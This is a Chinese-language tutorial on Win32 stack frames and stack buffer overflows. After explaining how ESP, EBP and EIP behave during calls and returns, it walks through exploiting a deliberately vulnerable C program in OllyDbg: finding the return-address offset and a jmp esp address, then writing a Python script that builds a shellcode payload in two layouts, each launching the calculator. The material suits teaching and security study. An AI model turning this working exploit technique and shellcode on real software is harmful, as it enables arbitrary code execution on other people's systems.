在高级语言中,当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中。这个栈帧中的内存空间被它所属的函数独占,正常情况下是不会和别的函数共享的。当函数返回时,系统栈会弹出该函数所对应的栈帧。
Win32系统提供两个特殊的寄存器用于标识位于系统栈顶端的栈帧:
1. ESP:栈指针寄存器,其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶;
2. EBP:基址指针寄存器,其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
在函数栈帧中,一般包含以下几类重要信息:
1. 局部变量:为函数局部变量开辟的内存空间;
2. 栈帧状态值:保存前栈帧的顶部和底部(实际上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本帧被弹出后恢复出上一个栈帧;
3. 函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。
除了与栈相关的寄存器外,还有另一个重要的栈:EIP,指令寄存器,其内存放着一个指针,该指针永远指向下一条等待执行的指令地址,如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。
函数调用大致包括以下几个步骤:
1. 参数入栈:将参数从右向左依次压入系统栈中;
2. 返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行;
3. 代码区跳转:处理器从当前代码区跳转到被调用函数的入口处;
4. 栈帧调整:具体包括
保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈);将当前栈帧切换到新栈帧(将ESP值装入EBP,更新栈帧底部);给新栈帧分配空间(把ESP减去所需空间的大小,抬高栈顶)。
对于_stdcall调用约定,函数调用时用到的指令序列大致如下:
;调用前
push arg3 ;假设该函数有3个参数,将从右向左依次入栈
push arg2
push arg1
call func_address ;call指令将同时完成两项工作:向栈中压入当前指令在内存中的位置,即保存返回地址;跳转到所调用函数的入口地址函数入口处
push ebp ;保存旧栈帧的底部
mov ebp, esp ;设置新栈帧的底部(栈帧切换)
sub esp, xxx ;设置新栈帧的顶部(抬高栈顶,为新栈帧开辟空间)
类似地,函数返回的步骤如下:
1. 保存返回值:通常将函数的返回值保存在寄存器EAX中;
2. 弹出当前栈帧,恢复上一个栈帧。具体包括:
在堆栈平衡的基础上,给ESP加上栈帧的大小,降低栈顶,回收当前栈帧的空间;将当前栈帧底部保存的前栈帧EBP值弹入EBP寄存器,恢复出上一个栈帧;将函数返回地址弹给EIP寄存器;
3. 跳转:按照函数返回地址跳回母函数中继续执行。
函数返回时相关指令序列如下:
add esp, xxx ;降低栈顶,回收当前的栈帧
pop ebp ;将上一个栈帧底部位置恢复到ebp
retn ;弹出当前栈顶元素,即弹出栈帧中的返回地址,至此,栈帧恢复工作完成;让处理器跳转到弹出的返回地址,恢复调用前的代码区
通用的缓冲区溢出攻击改写的目标往往是栈帧最下方的EBP和函数返回地址等栈帧状态值。
以下面一段C语言代码为例:
#include “stdio.h”
int main(argc,argv) {
char name[8];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
其函数调用和栈溢出情况如下:
编写shellcode让程序通过栈溢出执行新的植入代码,有两种溢出覆盖方式,一种是SHELLCODE + fillbytes + new_eip,另一种是fillbytes + new_eip + SHELLCODE,如下示意图:
在第一种方式中,我们不用从返回地址到shellcode起始偏移地址的直接跳转,而是采用在返回地址后添加一条相对跳转指令Ralative JMP:JMP esp,跳转到shellcode起始偏移处。而在kenel32.dll或ntdll.dll动态链接库中JMP esp的指令机器代码为FF E4:
以下是一段有栈溢出漏洞的C语言代码:
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
int main() {
char name[512];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
system("pause");
return 0;
}
代码的逻辑是从name.dat文件中以二进制格式读入数据,并将数据存放在一个大小为512的字符数组。
攻击步骤如下:
1. 计算EIP的偏移;
2. 获取jmp esp指令的地址;
3. 建立Relative JMP;
4. 利用shellcode,编写POC。
调试工具可以使用Visual Studio的反汇编调试、OllyDbg+IDA或者WinDbg+IDA,我们在Win7操作系统环境下利用OllyDbg打开.exe文件,其中打开目录包含相对应的.pdb调试文件。
在OllyDbg中,寻找main函数入口地址,并按F2下断点:
此时存放EIP的ESP地址为0x0045FAC8。
按F8执行到为name变量分配地址指令SUB ESP,200,再查看ESP的地址变为0x0045F8C4。两地址相减:0x0045FAC8 - 0x0045F8C4 = 0x204。
使用OllyDbg获取kernel32或ntdll中刚好能被翻译为jmp esp (ffe4) 或者 call esp (ffd4) 的指令的地址。
在OllyDbg中,按Alt+M或点击工具栏的M图标打开存储映射窗口,在kernel32的PE header地址处右键点击搜索jmp esp (ffe4)指令地址:
得到地址为0x752E023B.
在intel指令手册中查找关于jmp语句的描述,得到JMP指令对应的机器码为E9 cw,即E9后跟随一个32位偏移地址,JMP rel32,根据该语法构造我们的jmp rel指令。其中,rel与第一步计算出的偏移eip_offset的关系为:rel = -1 * (eip_offset + 4 + 本jmp指令长度),4为新的EIP指令长度,之所以还要加上本jmp指令长度是因为该jmp指令执行时,EIP已经指向了JMP RELATIVE后的指令,即
SHELLCODE
FILL
NEW_EIP
JMP REL
ESP---->STH
由第一步算出的eip_offset为0x204,故 -1*(0x204+4+5) = 0x FFFF FDF3
而windows指令中数据存放为小端方式,因此Relative JMP指令格式为:
E9 F3 FD FF FF
第一步中,我们得到:EIP相对于buffer起始处偏移为0x204 = 516
;
第二步中,我们得到: jmp esp 指令地址为0x752E023B
;
第三步中,我们得到:relative jmp的指令为E9 F3 FD FF FF
.
我们攻击串的构造模式为:
name = shellcode + fillbytes + ret_eip + relative_jmp
需要计算填入多少字节的fillbytes,在此提供弹出计算器的shellcode长度为323字节,第一步得到的eip_offset是shellcode+fillbytes的长度,因此:
len(fillbytes) = 516 - 323 = 193
利用Python编写包含攻击代码的name.dat输入文件:
with open('C:\\name.dat', 'wb') as f:
ret_eip = '\x3b\x02\x2e\x75'
# find ret_eip value
shellcode = ("\xe8\x00\x00\x00\x00\x8b\x24\x24\xb1\x02\xd3\xec\xd3\xe4"+
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
relative_jmp = "\xe9\xf3\xfd\xff\xff"
# make the relative_jmp instruction
fillbytes= 'a'* 193
# calculate the len of fillbytes
name = shellcode + fillbytes + ret_eip + relative_jmp
f.write(name)
f.close()
生成name.dat文件后,再次运行.exe文件:
按回车键之后,弹出计算器程序:
攻击成功!
第二种攻击方式为fillbytes + new_eip + SHELLCODE
,如上图右边系统栈覆盖情况所示,填充字节为之前计算出的EIP偏移字节数0x204 = 516,new_eip值不变,shellcode代码不变。修改原先的Python的下列几行,其他行不变,写入攻击代码数据:
fillbytes = 'a' * 516 # the len of fillbytes is the same as the eip_offset
#name = shellcode + fillbytes + ret_eip + relative_jmp
name = fillbytes + ret_eip + shellcode
生成name.dat文件后,再次运行.exe文件:
可以看出,name数组的值已经全部变成了a的填充字节,且最后显示的乱码ASCII字符为ret_eip偏移地址的值。按确认键后,弹出计算器程序:
第二次攻击成功!
手机扫一扫
移动阅读更方便
你可能感兴趣的文章